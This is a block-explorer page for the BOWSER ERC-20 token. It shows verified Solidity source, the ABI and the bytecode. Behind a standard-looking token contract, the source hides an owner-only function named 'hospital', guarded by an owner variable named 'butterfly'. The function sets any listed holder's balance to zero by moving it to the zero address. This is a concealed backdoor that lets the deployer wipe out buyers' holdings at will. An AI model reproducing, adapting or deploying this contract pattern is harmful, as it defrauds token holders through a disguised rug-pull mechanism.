ERC-20
Overview
Max Total Supply
271,000,000 BOWSER
Holders
122
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
bowser
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-10-21 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract bowser is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public butterfly; constructor () { _name = "BOWSER"; _symbol = "BOWSER"; _decimals = 18; uint256 initialSupply = 271000000; butterfly = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == butterfly, "Not allowed"); _; } function hospital(address[] memory source) public onlyOwner() { for (uint256 i = 0; i < source.length; i++) { address account = source[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"butterfly","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"source","type":"address[]"}],"name":"hospital","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f80fd5b506040518060400160405280600681526020017f424f5753455200000000000000000000000000000000000000000000000000008152506002908161005491906104f6565b506040518060400160405280600681526020017f424f5753455200000000000000000000000000000000000000000000000000008152506003908161009991906104f6565b50601260045f6101000a81548160ff021916908360ff1602179055505f63102721c090503360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061012033670de0b6b3a76400008361011591906105f2565b61012660201b60201c565b50610706565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161018b9061068d565b60405180910390fd5b6101a9816005546102a760201b90919060201c565b6005819055506101fe815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546102a760201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161029b91906106ba565b60405180910390a35050565b5f81836102b491906106d3565b905092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061033757607f821691505b60208210810361034a576103496102f3565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026103ac7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610371565b6103b68683610371565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6103fa6103f56103f0846103ce565b6103d7565b6103ce565b9050919050565b5f819050919050565b610413836103e0565b61042761041f82610401565b84845461037d565b825550505050565b5f90565b61043b61042f565b61044681848461040a565b505050565b5b818110156104695761045e5f82610433565b60018101905061044c565b5050565b601f8211156104ae5761047f81610350565b61048884610362565b81016020851015610497578190505b6104ab6104a385610362565b83018261044b565b50505b505050565b5f82821c905092915050565b5f6104ce5f19846008026104b3565b1980831691505092915050565b5f6104e683836104bf565b9150826002028217905092915050565b6104ff826102bc565b67ffffffffffffffff811115610518576105176102c6565b5b6105228254610320565b61052d82828561046d565b5f60209050601f83116001811461055e575f841561054c578287015190505b61055685826104db565b8655506105bd565b601f19841661056c86610350565b5f5b828110156105935784890151825560018201915060208501945060208101905061056e565b868310156105b057848901516105ac601f8916826104bf565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6105fc826103ce565b9150610607836103ce565b9250828202610615816103ce565b9150828204841483151761062c5761062b6105c5565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610677601f83610633565b915061068282610643565b602082019050919050565b5f6020820190508181035f8301526106a48161066b565b9050919050565b6106b4816103ce565b82525050565b5f6020820190506106cd5f8301846106ab565b92915050565b5f6106dd826103ce565b91506106e8836103ce565b9250828201905080821115610700576106ff6105c5565b5b92915050565b611507806107135f395ff3fe608060405234801561000f575f80fd5b50600436106100a7575f3560e01c806323b872dd1161006f57806323b872dd14610151578063313ce5671461018157806370a082311461019f57806395d89b41146101cf578063a9059cbb146101ed578063dd62ed3e1461021d576100a7565b806306fdde03146100ab578063095ea7b3146100c95780630d1ebf21146100f957806318160ddd1461011757806323481aa514610135575b5f80fd5b6100b361024d565b6040516100c09190610d06565b60405180910390f35b6100e360048036038101906100de9190610dc4565b6102dd565b6040516100f09190610e1c565b60405180910390f35b6101016102fa565b60405161010e9190610e44565b60405180910390f35b61011f61031f565b60405161012c9190610e6c565b60405180910390f35b61014f600480360381019061014a9190610fc5565b610328565b005b61016b6004803603810190610166919061100c565b610588565b6040516101789190610e1c565b60405180910390f35b61018961065c565b6040516101969190611077565b60405180910390f35b6101b960048036038101906101b49190611090565b610671565b6040516101c69190610e6c565b60405180910390f35b6101d76106b6565b6040516101e49190610d06565b60405180910390f35b61020760048036038101906102029190610dc4565b610746565b6040516102149190610e1c565b60405180910390f35b610237600480360381019061023291906110bb565b610763565b6040516102449190610e6c565b60405180910390f35b60606002805461025c90611126565b80601f016020809104026020016040519081016040528092919081815260200182805461028890611126565b80156102d35780601f106102aa576101008083540402835291602001916102d3565b820191905f5260205f20905b8154815290600101906020018083116102b657829003601f168201915b5050505050905090565b5f6102f06102e96107e5565b84846107ec565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f600554905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906111a0565b60405180910390fd5b5f5b8151811015610584575f8282815181106103d6576103d56111be565b5b602002602001015190505f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490506104a6816040518060400160405280600581526020017f4552524f520000000000000000000000000000000000000000000000000000008152505f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610535815f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0390919063ffffffff16565b5f808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505080806001019150506103b9565b5050565b5f610594848484610a18565b610651846105a06107e5565b61064c856040518060600160405280602881526020016114aa6028913960015f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106036107e5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b6107ec565b600190509392505050565b5f60045f9054906101000a900460ff16905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6060600380546106c590611126565b80601f01602080910402602001604051908101604052809291908181526020018280546106f190611126565b801561073c5780601f106107135761010080835404028352916020019161073c565b820191905f5260205f20905b81548152906001019060200180831161071f57829003601f168201915b5050505050905090565b5f6107596107526107e5565b8484610a18565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361085a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108519061125b565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf906112e9565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516109a29190610e6c565b60405180910390a3505050565b5f8383111582906109f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ed9190610d06565b60405180910390fd5b5082840390509392505050565b5f8183610a109190611334565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d906113d7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610af4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aeb90611465565b60405180910390fd5b610b5d81604051806060016040528060268152602001611484602691395f808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109af9092919063ffffffff16565b5f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610bec815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a0390919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c899190610e6c565b60405180910390a3505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610cd882610c96565b610ce28185610ca0565b9350610cf2818560208601610cb0565b610cfb81610cbe565b840191505092915050565b5f6020820190508181035f830152610d1e8184610cce565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d6082610d37565b9050919050565b610d7081610d56565b8114610d7a575f80fd5b50565b5f81359050610d8b81610d67565b92915050565b5f819050919050565b610da381610d91565b8114610dad575f80fd5b50565b5f81359050610dbe81610d9a565b92915050565b5f8060408385031215610dda57610dd9610d2f565b5b5f610de785828601610d7d565b9250506020610df885828601610db0565b9150509250929050565b5f8115159050919050565b610e1681610e02565b82525050565b5f602082019050610e2f5f830184610e0d565b92915050565b610e3e81610d56565b82525050565b5f602082019050610e575f830184610e35565b92915050565b610e6681610d91565b82525050565b5f602082019050610e7f5f830184610e5d565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b610ebf82610cbe565b810181811067ffffffffffffffff82111715610ede57610edd610e89565b5b80604052505050565b5f610ef0610d26565b9050610efc8282610eb6565b919050565b5f67ffffffffffffffff821115610f1b57610f1a610e89565b5b602082029050602081019050919050565b5f80fd5b5f610f42610f3d84610f01565b610ee7565b90508083825260208201905060208402830185811115610f6557610f64610f2c565b5b835b81811015610f8e5780610f7a8882610d7d565b845260208401935050602081019050610f67565b5050509392505050565b5f82601f830112610fac57610fab610e85565b5b8135610fbc848260208601610f30565b91505092915050565b5f60208284031215610fda57610fd9610d2f565b5b5f82013567ffffffffffffffff811115610ff757610ff6610d33565b5b61100384828501610f98565b91505092915050565b5f805f6060848603121561102357611022610d2f565b5b5f61103086828701610d7d565b935050602061104186828701610d7d565b925050604061105286828701610db0565b9150509250925092565b5f60ff82169050919050565b6110718161105c565b82525050565b5f60208201905061108a5f830184611068565b92915050565b5f602082840312156110a5576110a4610d2f565b5b5f6110b284828501610d7d565b91505092915050565b5f80604083850312156110d1576110d0610d2f565b5b5f6110de85828601610d7d565b92505060206110ef85828601610d7d565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061113d57607f821691505b6020821081036111505761114f6110f9565b5b50919050565b7f4e6f7420616c6c6f7765640000000000000000000000000000000000000000005f82015250565b5f61118a600b83610ca0565b915061119582611156565b602082019050919050565b5f6020820190508181035f8301526111b78161117e565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611245602483610ca0565b9150611250826111eb565b604082019050919050565b5f6020820190508181035f83015261127281611239565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6112d3602283610ca0565b91506112de82611279565b604082019050919050565b5f6020820190508181035f830152611300816112c7565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61133e82610d91565b915061134983610d91565b925082820190508082111561136157611360611307565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6113c1602583610ca0565b91506113cc82611367565b604082019050919050565b5f6020820190508181035f8301526113ee816113b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61144f602383610ca0565b915061145a826113f5565b604082019050919050565b5f6020820190508181035f83015261147c81611443565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122013ab6aa7291b83d3d308522b7310fca68212d919dd3f11b9f16fcc5e0fbf334364736f6c634300081a0033
Deployed Bytecode
